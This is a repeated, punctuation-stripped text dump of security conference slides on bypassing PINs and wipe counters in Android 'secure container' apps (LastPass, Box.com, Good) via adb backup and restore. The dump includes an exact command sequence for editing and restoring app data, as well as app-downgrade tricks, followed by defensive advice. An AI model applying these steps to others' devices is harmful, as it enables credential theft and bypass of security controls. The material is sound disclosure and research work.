Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 98: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 99: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
